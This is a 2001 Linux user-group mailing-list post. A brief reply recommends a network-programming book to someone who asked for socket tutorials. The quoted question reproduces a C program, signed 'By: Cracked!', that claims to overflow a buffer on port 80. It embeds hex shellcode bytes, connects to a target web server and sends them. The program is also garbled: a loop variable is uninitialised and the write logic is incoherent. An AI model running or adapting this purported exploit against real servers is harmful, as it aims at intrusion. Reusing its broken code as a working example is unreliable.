[oclug] Socket programming

Bart Trojanowski bart at nexus.carleton.ca
Sun Feb 11 22:24:08 EST 2001


I may be a bit late to reply, but Stevens has a very good book on network
programming:

http://www.google.com/linux?q=unix+network+programming&site=search&restrict=linux&hl=en&lr=&safe=off

B.

On Thu, 8 Feb 2001, Lafleur Maurice wrote:

> Two questios:
>
> 1- Could someone give point me to some good on-line resources on teaching
> myself socket programming
>
>
> 2- I found this piece of code and I wonder what it does (the source
> indicated that it produced a buffer overflow on port 80)
> Enjoy!
>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <sys/errno.h>
> #include <netdb.h>
> #define PORT 80
> #define OFFSET 4
> char hell[] =
> "\xeb\x05\x08\x00\x74\x02\x89\xf6"
> "\x8b\x03\xff\xd0\x83\xc3\x04\x83"
> "\x3b\x00\x75\xf4\x9f\x5d\xfc\xc9"
> "\xc3\x8d\x76\x00\x56\x89\xe5";
>
> int main (int argc, char *argv[]) {
> char Buf[OFFSET+4];
> int i,j;
> int sock;
> struct sockaddr_in sock_a;
> struct hostent *host;
>
> printf("By: Cracked! \n");
> if (argc < 2) {
> 	fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
> 	exit (0);
> }
>
> if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
> 	perror("gethostbyname");
> 	exit (-1);
> }
>
> if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
> 	perror("create socket");
> 	exit (-1);
> }
> sock_a.sin_family=AF_INET;
> sock_a.sin_port=htons(PORT);
> memcpy((char*)&sock_a.sin_addr,(char*)host->h_addr,host->h_length);
>
> if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
> 	perror("create connect");
> 	exit(-1);
> }
>
> if(!fork()) {
> for(i=i,j=0;i<OFFSET;i++,j++)
> 	Buf[i]=hell[j];
> for(i=0;i<sizeof(Buf);i++)
> 	write(sock,hell,Buf[i]);
> }
>
> }
>
> _______________________________________________
> oclug mailing list
> oclug at lists.oclug.on.ca
> http://www.oclug.on.ca/mailman/listinfo/oclug
>

-- 
	WebSig: http://www.jukie.net/~bart/sig/





More information about the OCLUG mailing list